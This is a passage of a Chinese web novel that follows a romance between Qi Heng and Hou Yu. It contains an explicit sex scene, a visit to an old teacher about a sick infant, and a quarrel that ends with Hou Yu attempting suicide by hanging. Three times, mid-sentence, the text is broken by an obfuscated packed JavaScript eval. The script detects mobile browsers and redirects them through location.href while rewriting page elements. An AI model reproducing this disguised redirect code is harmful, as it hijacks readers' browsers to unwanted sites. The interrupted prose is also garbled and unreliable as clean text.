他很开心:“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531495|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你只喜欢我好不好。” 戚姮眨了眨眼,缓缓埋头,笑了好几声:“我就说……平常你早睡了,今天这么反常。” 后煜被笑得不好意思,一个劲晃她:“你还没说呢,好不好?” “好,好。”戚姮枕在他的肩颈,继续迷糊地打盹,“除了你,谁还能舍弃仕途陪我跑这里无所事事。我只喜欢你。” 后煜终于满意了,一反常态地主动凑去,将她亲了又亲。 戚姮也不躲,眯缝着眼想睡。等后煜无声哭了好半天,她才察觉不对抬起脸。 “怎么又哭了?” 他的眼角源源不断有泪滑落,戚姮抬起袖子给他擦了又擦,心里嘀咕着“难道说错话了”,一头雾水地哄了半天。 后煜掩住面上因为压抑而微微抽动的表情:“……第一次有人喜欢我。” “连爹娘都不喜欢我,你却喜欢我。” 戚姮动作一顿。 他为自己抹掉眼泪,等哭得差不多了,道:“如果你哪天不喜欢我了,跟我说,我想把时间留在你还喜欢我的时候。” 戚姮不知作何感想,那声未出口的叹息打了转,又憋了回去。 她轻拍了他两下,安抚:“别想这么多,快睡觉。” “其实……我还想问你喜不喜欢小孩子。” 后煜整理好情绪,捏着她的发尾,黑暗中睁着眼睛一眨不眨盯着戚姮:“如果将来你上战场,可不可以在家给我过继一个孩子。我想有个人陪着。” “怎么不说让我给你生一个。” “你的主轮不到我做。”后煜倒也不贪心,“过继一个就好,我就是比较喜欢孩子。” 戚姮点点头:“也不是不可以。” 指尖从他的锁骨一路滑向下,她一把扯掉后煜围在腰间的布:“但……有个亲生的不好吗” “!” 戚姮只穿了层单薄里衣,拉着后煜的手从衣摆底端摸进布料里,向上继续游走在肌肤表面。 他忙不迭想抽手回来,拒绝道:“不行。这还有孩子。” “他都睡着了,三个月还没狗明白事,怕什么。” 戚姮“嘘”了一声:“你动静小点,别把他吵醒就好了。” “可……” “最后一次还是在侯府,你知道过去多久了吗。三个月。” 从前听见后煜哭,升起的只有烦躁。现在听见,居然会起了些许……欲望。 可能是因为他每次行房事中途都会哭,时间久了,慢慢演变成看见他哭就想来一发。 戚姮也不困了也不累了,亲上他的脸颊,继续引诱:“北凉短时间内不可能再犯,我把官辞了,有的是时间。现在生不耽误事。” “你想想,到时候有个属于自己的孩子,是你为数不多的亲人,天天抱着你的腿喊爹爹。你不开心吗?” “……” 见他没有进一步拒绝,戚姮继续翻身坐到了后煜身上,利索地开始解衣裳。 “解烺跟你这么大的时候,他女儿都一岁多了。” 后煜眼瞳不住颤抖,蜷缩在原地,看着压在身上的戚姮,呆呆傻傻的。 “想,你也不用说话。躺着别动我就知道了。” 戚姮刚脱下衣裳,后煜突然翻身将她扑倒在地。 她反应那么快一个人都被这变故搞得措手不及,体位调转,后煜二话不说,低头吻了上去。 他从来没有展现过这样的行为,这次轮到戚姮呆住了,半天没反应过来是怎么回事。 也不等她反应,一双有些微凉的手掌已经滑到了腿间 后煜的精力向来持久,不说旺盛,就是持久。曾经能连轴转算账三天不合眼,一般人压根撑不住,可见身体素质。 他从前也是真的有点性冷淡,天天躲房事,躲不过去了才会躺那配合,也只是躺那不动,还不如个木头。 但这木头有个优点,狂折腾不困不累,甚至再挑逗两下,还能继续支棱。 这次居然不冷淡了。 后颈被牙尖咬住,隐隐的刺痛传过整个脊椎骨,前颈被他的胳膊绕过,又被紧紧箍在怀里。 戚姮地头发从两侧滑落,眼前糊了一片,几乎看不清东西。她仰头张着嘴喘息,连指甲都掐进了后煜揽过来的臂膀里,腰身痉挛,猛地抽搐了一下。 * 后煜摸黑跑去河边洗干净那条被他围在腰间的布,拧干水带了回去。 估计都要寅时了,戚姮本来就困,这下子更是倒地就不起,跟块泥巴一样任由后煜随便给她擦身子。 “你这次和前两次都不一样。”后煜还有精力继续聊天,“不舒服吗。为什么一直抖。” 要不说一脸天真问出来的话最难搞,越听越不对劲,偏偏他是正经问的。 戚姮死鱼一样往那一瘫:“要听实话吗?是有点太舒服了。” “噢,那就好。”后煜擦完就跑出去把那块布扔了,又不要了。 他揉了揉被戚姮掐出血的胳膊,坐在原地不知道沉思些什么,又道:“下次不舒服记得说,你抖完,我摸到你腿间有东西,还以为这次太过分出血了,吓我一跳。” “结果什么也不是,就是水。” “好了,打住。”戚姮有朝一日都能被他给说的不好意思,实在听不下去了:“睡觉。” 后煜应了一声,乖乖躺回去,继续搂着戚姮躺下睡。 没多久,他问:“你身上怎么越来越烫啊?” 戚姮手动捂上他的嘴:“还能不能睡觉了!” 47. 并蒂双株【五】 半夜下起了雨,叮叮咚咚砸在帐篷上,后煜稀里糊涂问了句什么动静。 戚姮非说他听错了,按下他脑袋,两眼一翻继续睡。 这一夜,赵又不哭不闹,一觉睡到第二天,阴云压着散不去。 后煜看着手里还滴答着水珠的衣裳陷入沉默。 “我没得穿了。”他坐在地上,沮丧极了,“这怎么办啊?” 戚姮正好衣领,道:“要不你在这等等,我进城买身新衣裳给你。” 后煜抬头:“可是我们没有钱了。” “把你的项链给我,我先拿去当掉。” 他大惊失色:“什么?” 戚姮不觉得有问题:“回家我再让人给你制一条新的,现在先救救急。” “不要。”后煜跑去捂着包袱摇头,“没有别的办法了吗……?” “有倒是有。” 戚姮走过去要拿包袱,却被后煜死死按着,他一脸哀求地看过来,生怕抢去他的项链。 戚姮觉得好笑:“我不要你的东西,你对我还防什么。” 后煜这才迟疑地松了手。 她在里头翻了翻,掏出一件自己的衣裳扔给他:“凑合穿吧。可能会有点小。” 等后煜换衣裳的空隙,戚姮背过身,龇牙咧嘴地揉着后颈,不禁腹诽这家伙真的是属狗的。 后煜扯了扯有点窄的肩周,又往下拽拽企图遮住脚脖子,努力许久毫无作用,他也就不管了。 整体来说还可以,凑合能穿。 他戴好项链,给自己拾掇完,站在戚姮面前让她看,得到“非常完美”的回答才高兴,很是满意地低头欣赏了一番。 后煜这才过去抱起孩子,好奇道:“这小家伙怎么突然这么乖?” 赵又躺在襁褓里,脸颊有些不正常的红晕,双目紧闭,丝毫不欢实。 他摸上赵又的额头:“发烧了。” “嗯……嗯?”戚姮闻声,伸手去探鼻息,后煜说了一句“他还活着”,才转去探上他颈间的温度。 “昨天也没受凉啊。”她疑惑道,“吃奶的时候还好好的。” 后煜回忆起昨晚上的种种,道:“可能是在河边待了一会,吹到风了。” “那这病生的也太不巧了,刚好赶到没钱的时候。”戚姮赶紧搬起了东西,边忙活边说:“咱们得快点走了。” 后煜拍了半天,赵又才睁开了眼,就直直地看着他,眯缝着要睡过去。 “小孩染风寒倒是正常,一般会哭闹。他这么老实,不会烧傻了吧。” 戚姮瞥了一眼:“傻了就傻着养。” · 绕着黄河岸边走一刻多钟就能寻到一座木桥,跨过去边离开了灵州,真正意义上进入波斯国界。 戚姮在马背上研究了好一阵地图,又抬头瞧了眼方位,一扯缰绳向北边去。 走到阴云消散,太阳重新出现,差不多到了中午才终于走到一片桦树林子。 林子不小,甚至各处都长得一模一样。相同的树,相似的石头,草木丛生,杂乱无章,完全看不出哪有区别。 后煜不确定地问了好几次“真的没有走错吗”,戚姮回想着戚砚说过的路线,一直冲他保证没有。 向里的路难走了许多,树枝横七竖八拦在脸前,刮得生疼。两人翻身下马,脚步深深浅浅继续前行。 余光扫到了石头上刻着的几个字,戚姮向后退了几步,回到刚才路过的地方,俯下身仔细打量。 “戚砚到此一游”这六个字映入眼帘,又丑又歪,是他本人的字没错了。 “……” 旁边还有别的字。 “你去哪了,看到请回答。” “不要跟我说话。” “再整这死出我弄死你,限你一个时辰内滚回来。” 没了。 看来是滚回去了。 戚姮唇角抽搐着。 十几年了字迹还完整的存在,可见刻的有多用力。 后煜在一旁看了半天,好奇地问:“这是侯爷在和别人传话吗?” 戚姮应了声:“和我娘。” 他的目光在石头上的字和戚姮之间来回晃荡,半晌吐出一句:“你的个性好像侯夫人啊……” 戚姮笑了起来:“是吗?其实相比我娘来说,我还挺温柔了。” 后煜目光幽幽地看着她,连话都不接。 “你这么看我干什么,真的真的。” 戚姮说:“我娘看谁不顺眼会直接下毒,我好歹还会听人解释几句。就因为她这性格,有次我爹惹了她,她差点把我爹给送走。” “但没多久就后悔了,又想办法给他解了毒。” 戚姮饶有兴趣地看向后煜:“不然你以为,她写这些就是句口头威胁?” 后煜微张着嘴,大受震撼。 他心有余悸地捂上胸口,心脏还在乱跳:“原来你每次说要弄死我,都是真的啊……” 自进了侯府以后,他先前的刻板印象被推翻了大半。 以为戚砚会是个危险的人物,血煞气重,用拳头说话。 相反,他的日常表现非常纯善,很少起矛盾,竟然会先讲道理。 又以为戚砚是个爽朗的性格,结果却从他身上感受到了阴郁,始终萦绕左右,并没有多么活跃。 有次从太府寺回来晚了,路过前院,恰巧看见他靠着墙角哭。 后煜还吓了一跳,蹑手蹑脚地绕得更远回院子。 就像后煜现在才反应过来,侯府真正危险的其实另有其人。 走到这处石头路程就没多远了,再往前两步便绕出了林子。 “我爹跟我说,村里最有钱的就是我舅姥爷……” 戚姮站在路上,手中拿着地图,前后左右转了个圈瞧:“这破地连个二层宅子都没有,不会有间茅房都算有钱吧。” 她们又往前走了几家,后煜瞟到旁边,缓缓定住。 他指着旁边的露头院子,外围仅有可怜兮兮的几个栅栏围着,依稀能看见棚里拴的牛,尾巴还在扫着小飞虫:“有没有钱我不知道,但这家有养牛诶。” 大门年久失修,晃晃悠悠随时要往下掉,戚姮看着能一步跨进院子的栅栏,问:“这个门有什么存在的必要吗。” “为了好看吧。”后煜低头看着赵又,“小又好久没吃奶了,又发着烧。先挑这家要点奶喂喂,等会再继续找人,怎么样。” 戚姮这一路过来的确只看见了这一家养着牲畜,沉思片刻,也只能先这样办:“行。” 她一步跨过栅栏,在院里寻着主人家的踪迹。终于从一个安置在犄角旮旯里的鸡窝看见了个背影,此刻正蹲在地上和着泥沙,像是要翻修重垒这个鸡窝。 戚姮走近,从后拍了拍他的肩:“大爷……” 她把这大爷吓一激灵,一屁股跌坐在地,差点坐进泥里。 大爷顺着声音惊恐地向后转头,刚想发作的情绪瞬间戛然而止。 戚姮与他四目相对,面面相觑,哆嗦地指着他:“舅舅舅姥爷!” “你怎么在这?”解檀从惊恐变成了惊吓,“你也被追杀了?” “……什么鬼。” 解檀一手抓住越狱的母鸡塞了回去,关上笼子,再回头,戚姮还在。 他难掩惊诧:“你爹娘唯一一次跑我这来,就是被什么朔州刺史的人追一路。不然没事往我这跑什么?” 戚姮一本正经:“我想你了。” “说人话。” “遇上了一丝丝小困难。”戚姮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531496|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆着笑,指向他的牛棚,“给我挤碗牛奶。” …… 也算是赶巧了,母牛刚下小牛犊,奶水没断。 戚姮拿着碗要后煜去挤奶,自己抱着孩子跟着解檀进了屋。 “这小家伙发烧烧了一夜,一直不哭也不闹,你快看看他是不是烧坏了?” 解檀刚找完药箱回来,转头就看见戚姮将孩子放在了吃饭的桌子上,头疼地让她抱到床上,才解开襁褓检查起来。 “他眼睛是不是瞎的。” 解檀伸手撑开观察他的眼球:“嗯……还真是。” “那就是刚出生的时候损伤了,没恢复好。”戚姮趴在床边,眼巴巴地问,“他有事吗?” “不是什么大事。”解檀展开针灸的布包,擦出火苗烧了烧针尖,“风寒而已,吃点药,养两天就好。” 戚姮这才放心:“噢。” “这哪来的孩子?”解檀的眼珠瞟向戚姮,“肯定不是你的,你没时间生孩子。” 戚姮挠了挠头,还没开始张嘴开玩笑就结束了,只好实话实说:“舅舅的。你看他长这样,也只能是舅舅的。” 解檀皱了皱眉,没说什么,只问:“你舅舅这皇帝当怎么样。” “挺好的呀。国泰民安,多好。” “你呢。”解檀又问,“听说你在军队里都称大王了。” 戚姮神情一呆,觑着他的表情,连连否认:“没有的事。” 解檀也不拆穿,就只挂上了一抹意味深长的笑: “遵令必败,败则割地,违令必胜,胜则安邦。你站在这么个风口浪尖,朝廷念你功高,不予处罚。其实大部分还是源于你舅舅,他不舍得动你。” “但史官就不会这么留情了,这件事功与过各占一半,势必会有人心偏见的存在。” “此举是忠勇可嘉,还是乱法之始,你自己怎么定论?” 戚姮听完都麻了:“我都弃文从武了为什么还是要突然开始考学……” 解檀拿着银针对准戚姮:“不说,今晚上你就去睡牛棚。” “……有话好好说。”戚姮向后退了半步,躲开那针尖。 解檀向来这样,别人家夫子拿戒尺教学,他拿一套银针。他的医术极高,熟知哪些穴位扎了没事,哪些穴位疼得要命。 无论戚姮是上课敷衍,练字睡觉,还是听讲走神,亦或者不写功课,被他发现了上去就是一针。 手速极快不留情面,扎得戚姮回回都要蹦起来。 而且一视同仁。 戚砚缩在家不出门的那几年,闲来无事,跟着戚姮一起学四书五经,就坐在旁边听。 奈何他真的不是这块料,听了两个时辰居然连字还能读错,解檀就会忍无可忍地也扎他一针。 戚姮在朝堂之上堪称无敌,舌战群儒游刃有余,四五六个当官的轮番上阵也够呛能骂得过她一人。 偏偏在碰见老师时结结巴巴,挠头半天,她才吭出了个所以然: “史官如何写,我无法左右。此事本就争论不断,众说纷纭,两者无论写什么,我都无话可说。” “那时撤军是为北凉南下冲袭做邀请,看着中原沦陷,生灵涂炭的事我自然做不到。算不上多忠勇,位高责任重而已。但法不可废,我并未过多狡辩,做好了后果都是我自行承担的准备,更算不上乱法之始。” “君子喻于义,即便因此死于皇帝猜忌,朝臣排挤,也能安心瞑目。” “为生民立命,为万世开太平。无悔。” 解檀一根一根收了扎在赵又身上的银针,听完应了声,也没说不满意。 戚姮连忙转过身,拍着胸口呼了口气。 吓死人了。 怎么长大了还是害怕老师突击盘问。 48. 并蒂双株【六】 后煜端着鲜奶进屋,迎面就看见戚姮精神恍惚地坐在地上,连忙放下碗,凑到她身边:“怎么了,不舒服吗。” 戚姮抓着他的胳膊站起来:“我……只是刚经历完所有学生的噩梦。” “?” 他懵懂地思索这到底什么意思。 “这是……?” 解檀收好自己那套药箱,得了机会正眼看着这个陌生人,戚姮拉他过来,伸出双手展示道:“这是解语。” “论辈分,是你的侄孙。” 后煜听见是解家人不是很情愿,转念一想他和戚姮关系貌似不错,就微微颔首,觉得敷衍,又欠了欠身:“伯公。” “国公府的啊。”解檀还挺惊讶,擦了擦手,目光流转几番,好奇道:“那你们是?” “看不出来吗?”戚姮揽着他,“当然是不清不楚的关系。” 后煜缩着肩,配合地点头。 “啊……”解檀终于看明白了现状,恍然大悟:“你办喜酒不喊我。” “……” 戚姮尴尬一笑:“咋可能,是我没办宴。” “为什么?侯府破产了?” 戚姮支吾:“就是,名分不太正。” 解檀匪夷所思地:“什么叫名分不太正?” 她缓缓吐出一个字:“妾……” 解檀面上瞬间被难以置信所替代,和装傻充愣的戚姮大眼瞪小眼,突然一嗓子嗷了起来:“妾?又是妾?” 戚姮扫了扫鼻尖,很是心虚。 “为什么这么多代都过去了,国公府的人还是在给姓赵的做小?” 解檀差点蹦起来:“我发现你们姓赵的真的很过分!” 戚姮:“……” 后煜:“。” 后煜偷偷瞄向解檀,第一次听说他的名字,还是夏怀微提的。第一次见到他,也就是当下。 都说他是当年的状元根苗,天资卓绝,临殿试前突然失踪,不知去向。最差他也能摘个探花郎回家。 国公府只有二子,长子失踪,爵位自然落到了次子,也就是后煜的亲祖父头上。这才捡了个漏,一路传下来,给了解修竹。 第三代是解烺。 那个几十年前被寄予高期待的秦小公爷,居然出现在了波斯边境,一个破落的村子。 戚姮头都大了:“都是误会,误会……” 关于做妾做小,这背后有段故事。 且这故事是解檀一碰就炸的点。 从前戚姮想问关于亲娘的事,就会问唯一的知情者解檀,他也肯说,只是说着说着,就会莫名拐去永懿公主身上。 什么准未婚夫被赶回娘家闻所未闻。什么赵解忧抛弃青梅竹马移情别恋始乱终弃。又是什么她眼瞎才会看上一个黄毛,生了个小黄毛,继续生了她这个更小的黄毛。 戚姮十二岁时想明白事了,在第八百遍听他抱怨时,问了一句: “为什么让你走的时候不走?” 解檀卡壳了半天,一拍桌子怒道: “凭什么我这个正牌未婚夫走!” 于是,堂堂秦小公爷在二十三岁那年,与家里断绝了关系,当成未婚妻的陪嫁给嫁过去了。 无名无分,甚至连个妾也没捞上,勉强算个情人。 戚姮很想说那就是你自找的,但怕他恼羞成怒拿针扎人,一直不开口。 当下,出现个一模一样姓解的,也是只能当小,也是没有正经名分。 解檀憋了半天,估计是又想到他那点破事,酝酿了半天骂声。 “我们这次来波斯转一圈,回去就要正经成婚了。” 戚姮挽上后煜的胳膊,说得正经,赶在他破口大骂之前打断:“绝对八百里加急喊你去喝喜酒。” 解檀骂她祖宗的话戛然而止:“嗯?” 连后煜都呆住了,转头看向她,面上尽是不可思议,眸底又藏不住期待:“真的吗?” “……”戚姮顶着两道目光,沉重地点点头:“保证。” …… 直到晚上吃饭,戚姮还是没整明白自己是怎么稀里糊涂把这位置给许出去的。 反正是答应好了。 她想着东西坐那发呆,嘴边一直源源不断有菜递过来,就傻愣愣地张嘴吃下。 解檀斜眼看了半晌,终于忍不住开口:“你看你给她惯的,现在吃饭都要人喂。” 后煜看看他又看看她,小声道:“平常不这样。她在想事情,喂一喂也没什么。” 解檀扶额:“依照我对她的了解,现在多半是后悔了。你还喂她,信不信等会就跟你说这是诓我的,是假的,别当真。” “啊?”后煜不相信:“不会吧……” 解檀笑了两声没说话。 这一笑给后煜笑得不知所措了,他垂下眼,心中有些犹疑,手上却继续在盘子里挑着鱼刺,夹起喂过去。 戚姮全程没什么反应,似是没听到。 等她脑袋里想明白了,回过神,直接就说了正事:“舅舅的那个孩子,叫赵又。你也看见他长什么样了,皇宫里头没办法养,所以我就送了过来,想让你养。” 解檀差点把汤吐出来:“什么?!” 戚姮见他这反应,问:“不可以吗?” “当然不行!你知道我给你家养过多少孩子了吗?” 解檀掰着手指细数:“当年皇后娘娘让我跟来照顾你姥姥,后来就是你娘,你舅舅,你,你姐姐,现在还要给我送一个?” 戚姮眨了眨眼,嘴上赔着笑:“哎呀,谁让你这么可靠呢……” “今年我都六十了,十六岁那年的债还没还完!” 解檀端起碗,看样子很想卡在戚姮头上,最后还是忍住了,又坐了回去:“不养。哪天我死在家里都不一定,万一真死了,这么小的小孩咋活?” 戚姮心里怒骂前人把名额占满了,现在真有事了,好了吧。 “可是……可是你不养的话,他更活不下去了。” 戚姮只能卖惨:“舅舅差点把他摔死。是我救下来,说让你养,永远不会出现在汴京,这才留了一条命。” “我好不容易来到这,跋山涉水,走了整整三个月,就为了给他找条出路。没人养可怎么办啊?他还这么小。” “……”解檀惊疑不定地,“这母子俩怎么动不动就摔孩子。” “现在他眼睛又瞎了一只,是皇帝的儿子,小小一个,给谁我都不放心。”戚姮观察着解檀的表情,嘴一撇,“只能带来给你了。” 解檀明显有些迟疑。 “这样。”戚姮放出最后筹码,“我认你当我姥爷,你就当这是你亲孙子,以后姓赵还是姓解,你自己决定,行不?” 屋里一下子安静下来了。 “都说孙子还有几率会越长越像祖母。你说,他万一跟我姥姥长得有几分像,会不会……” 解檀慢慢捂上半张脸,戚姮歪头从底下瞧,他正一个劲地搁那乐。 “嗯这个……也不是不行。” 解檀三两下就被哄乐意了:“不是因为别的,单纯就是,我比较喜欢养小孩。” “……你开心就好。” 戚姮也懒得拆穿他,解决了头等大事,她悬着的心总算落地:“那就这么说好了,不许反悔。” · 戚砚说得果然不错,这个村子里最有钱的就是解檀。 就他家里有养牲畜,甚至在外头不远,还有一间宅子。 那里依旧简陋,但收拾得干干净净,被褥桌椅一尘不染,一看就是经常有打扫。 连后煜看过之后都没说不行,准备烧水洗澡睡下了。 如今过了夏蝉聒噪的季节,打开窗,外头仅有几声虫鸣。 凉风吹进来,一阵清爽。 戚姮一头栽倒在床,头埋进枕间不动弹。为了尽早跨过边境那处荒地,日夜兼程赶路了许多天。 昨晚上本想休息休息,突然来了兴致,跟后煜疯得太狠,猛然放松下来,才感觉到身上阵阵的疲惫酸痛。 还带着孩子,想休息,都很难休息得安稳。 “终于没有孩子吵我睡觉了,我都快要疯了。”戚姮有气无力地捶了捶肩膀,“好累。” 后煜瞧见,挨过去给她按肩。 她刚洗完澡穿得少,今夜又有丝丝凉意,后煜拉过被子给她盖了上去,边捏边说:“好好睡一觉,休息几天,恢复些精力我们再动身去找公主。” 他按的实在是舒服,戚姮一动不动,声音从枕头里闷闷传出:“还不知道文则到底跑哪去了。偌大个波斯,我得传个信回去,问问陛下她的行踪。” “不然,找到明年也够呛找得着。” 后煜点了点头:“那就多待今天等信吧。” “哎呀哎呀,好舒服。”戚姮在身上指着各个部位,“这里,这里。” 后煜一开始还按照她指的地方按摩,最后直接全部揉过去整个背。 等戚姮舒坦极了才想起来,撇过头,问:“你不累吗?路你没有少赶,孩子还都是你带。” “累。”后煜说,“但是你身体不好,要靠睡觉恢复精力,被小又吵得不安稳,每天都更累。” “我给你按一按,会好一点。” 戚姮惊讶道:“你看出来我是靠睡觉养身体的了?” “嗯。你睡觉很沉,有时候晃半天才会醒。依照你们武将的警惕性来说,很反常。嗜睡也是一种问题。” “……我身上弱点还挺多的。”戚姮说,“一旦睡着,除非有人在我耳边打起来了,否则醒不过来。” “就因为这,我爹怕我出事,行军路上都是大帐篷里给我扎个小的。我躺小的,跟他隔开,晚上他守着我。” 后煜笑了两声:“现在换我守着你,好不好。” 戚姮闻言,笑得比他还大声:“你这么一说,我就想起来。你跟我同床共枕的第一天,我一晚上没睡。” 后煜还是第一次听她提起,不免好奇:“为什么?” “我在想你会不会动手杀我。毕竟我睡着了是真醒不来,真有可乘之机。” 戚姮说:“等了一晚上,你反倒睡着睡着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531497|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱上我了。趁你睡醒之前,我把你藏的药拿走,找人分辨到底是什么。结果就是蒙汗药。” “自那以后见你老实,我才卸下防备。” “……”他无奈道,“好吧。怪不得当晚你藏了把刀在枕头底下。” “不得不防。”戚姮翻了个身,勾住他的脖颈,腿一跨,坐在后煜的腿上:“不是人人都像你这般听话。” 后煜抱着她,靠上了床头:“我这样的,好听点是听话,不好听点是软弱。谁都能踹两脚,我还不敢反抗。” “但你没有长歪,是非分明,有情有义。有的人被欺负久了,连救他的人都会恨。” 戚姮勾着他的下巴,左右打量着几番:“我就喜欢你这样的真性情。谁对你不好你恨谁,多好。” “你喜欢,我就不改了。”后煜蹭着她的手,看着戚姮的脸看入了迷,忍不住凑近,又蹭了蹭她的鼻尖,掀起眼皮,眼神询问她可不可以亲。 他主动的次数少,只要想接吻都会问,不得戚姮的同意他什么都不敢做。 后煜抚上戚姮的脸颊,将她的发丝撩到耳后,素净的一张脸冲击力是如此强烈。 眉骨压着眼眸,投下一片阴影,蓝色玻璃珠嵌进眼眶之中,鼻尖挺翘精致,如何看她的脸都有种不真实的虚幻感。 美的摄人心魄。 “你好漂亮。”他埋头进戚姮的颈窝中,呼吸洒在锁骨,炙热无比,“嗯……” 戚姮故意坐上了他的胯间,在他耳边吹了口气:“你看我的脸也能看出反应?” 后煜咬着唇边,小声解释:“我也不知道为什么会……” “你不会才证明这都是演给我看的。” 戚姮扶着他,衣裳布料摩擦,隔着做起了那动作。 “知道吗,你这一副好像失贞了的表情,最色情。”戚姮眯眼看着他,回回都是这副欲拒还迎的死出,偏偏她还真吃这套。 她嘀咕:“真想把你打失忆硬上弓一次,看你难受的死去活来。” “不要这样……”后煜声音小的跟蚊子嗡嗡似的,他整个耳朵都红透了,却还是说,“你喜欢这样的话,我可以配合你演。” “你都不用怎么演,把我当成陌生人,羞愤欲死的那种感觉。” 指尖划过他的肩颈,衣裳松松垮垮敞开,戚姮忽然问:“你说,将来我要是真有了孩子。是我的,没法扔给别人养,我怎么受得了呢?” 话题转变之快,后煜差点没反应过来:“真到那天府里会请乳母,还有嬷嬷,再不济我也会养。你要是不想管,放在那就好了。” 戚姮又问:“如果我生的不是你的孩子,你还会养吗?” “……” 她看着他他瞪着她,瞪了半晌,后煜艰难开口:“你说了只喜欢我一个的……” “那我可以不喜欢别人,只收,哪天心情不好了就赶走。我只喜欢你,只有你能留在府里,怎么样?” 后煜满目震惊:“有区别吗?” “当然有区别,他们是过客,你才是过日子的郎君。” 后煜被唬住了,欲言又止,止言又欲,最后咬咬牙,问:“那……那你还会正经给我名分吗?婚礼还办吗?对外你还承认我是你的正夫吗?” “这个……” 戚姮被一连串的问题砸的有点晕,避开后煜追问的目光,她说:“我仔细想了想,其实,这也不是很重要。反正你都是要留在我身边的,正室还是侧室,无所谓的吧。” “嗯?你觉得呢?” 后煜张着嘴,无法接受。 她居然真的反悔了。 “你总是这么骗我!” 后煜一把推开了她,戚姮整个人向后栽倒在被子上,懵圈了片刻。 “又想往家里领人,还不想给我名分,那我跟他们有区别吗?” 后煜掀开被子下床,迅速穿上鞋子就要冲出门外:“你不想认我,不想对外公布,这样才能更好领别人回家!凭什么说不重要……既然觉得我不重要,那你自己过去吧!我不要跟你过了!” 临走前他还把枕头扔到戚姮脸上,一个不够砸两个,抽泣着控诉。 戚姮人都懵了,等他捂脸哭到门口,一个鲤鱼打挺坐起来,伸出手试图挽留:“诶?给你名分真的还不如不给!我们家比较流行——” “砰”的一声,门关了。 “宠妾灭夫……” 戚姮坐在原地,傻了一刻钟。 这气来的也太快了吧? 至于吗? 等她愣完,后知后觉地发现,现在真是把他惯的无法无天了。 闹脾气就算了,还敢砸枕头,还敢说不过了。 想到这,戚姮的驴脾气一下子上来了。 堂堂定远侯世子,要风得风要雨得雨,连皇帝的玉玺都摔着玩,还从没见过有谁敢如此说话。 “不过就不过,有本事死外边别回来。” 她整理好床铺,钻进被中,翻过身闭眼睡觉。 又是一刻钟后,戚姮面无表情地穿上衣服,准备去外面找人。 49. 并蒂双株【七】 戚姮是从那片林子里找着的后煜,她隐匿在暗处,没着急现身。 看着后煜不知道从哪找了根藤条,往树枝上一搭,又搬来了块石头垫在脚下,一边哭一边测试藤条承重力。 确认不会断后系了个结,踩上那块石头,踮脚将脑袋送了进去。 戚姮到现在都以为他闹着玩的,谁家好人上吊脚底放块硬邦邦的大石头? 属这小子最惜命,估计就等勒个红痕,好一会回去卖惨。 眨眼的功夫,他真吊上去了,一脚就把石头踢飞老远。 “啊靠!” 戚姮尖叫一声冲了上去,以平生最快的速度扑上去抱住他的腿,将后煜拽了下来。 两个人一起栽倒在地。 他真正吊上去那一刻,才知这是怎样的痛苦。强烈的窒息席卷,身体下意识想要大口喘气,却完全无济于事。 嗓子仿佛被面糊黏住,空气被完全阻隔在外,连胸膛都不会有一丁点起伏。 这难受的感觉没有持续太久,一股大力便把他扯下。 “咳咳……呃……”后煜摔了个晕头转向,被扼住的喉咙瞬间放松,争先恐后地挤入一大口空气,呛得他直咳嗽。 咳得惊天动地,差点连五脏六腑一起咳出来。 “呕——”他又止不住地干呕,被勒到肿胀的双眼看什么都有一层模糊重影。 肺部灼热蔓延到整个喉口,火辣辣的剧痛让他伏在地上,垂着脑袋,怎么也起不来。 “你还真死啊?!”戚姮等他好些了才敢开口,怒气冲上心头,险些没忍住一拳揍上去。 可看见他成了这样,于心不忍,连话也没骂出来。 戚姮倏地激起了一阵后怕,但凡没有及时跟出来,明天一早就能给他收尸了。 她想要落下去的手转了个弯,只将后煜抱进怀里,轻轻顺着他的后背,直到他彻底平息下来:“……至于吗?” 只因为一句话,竟然连命都不要了。 后煜缓了半天,乏力的四肢渐渐恢复些力气,才一把将她推开:“救我干什么?你都觉得我不重要了,救我干什么?!” “你的命哪次不是我救的?” 戚姮拽过他的领口,拽到脸前,咬牙切齿道:“当初求着我救你,现在就因为这么点事又糟蹋这条命?那你浪费我什么时间!” 林子里安静,连声鸟叫都没有。 他们二人的争执突兀又刺耳,暗夜里,依稀还能看清戚姮忍着怒气而绷紧的唇角。 后煜看着她,眼泪瞬间夺眶而出:“不是这么点事!你到现在还在觉得这是一点小事!” “既然是浪费时间,谁要你现在救我了?我不重要,为什么要救我?我不要你救我……”后煜还要推她,软绵绵的,连点感觉都没有。 他只好抬起手,挡住自己狼狈不堪的模样。 “你这么聪明的人怎么可能不知道我什么意思……你每次都在装傻充愣、每次都在骗我。压根,你就不想认我。” 戚姮跪坐在原地,纹丝不动。 “我早该知道。” 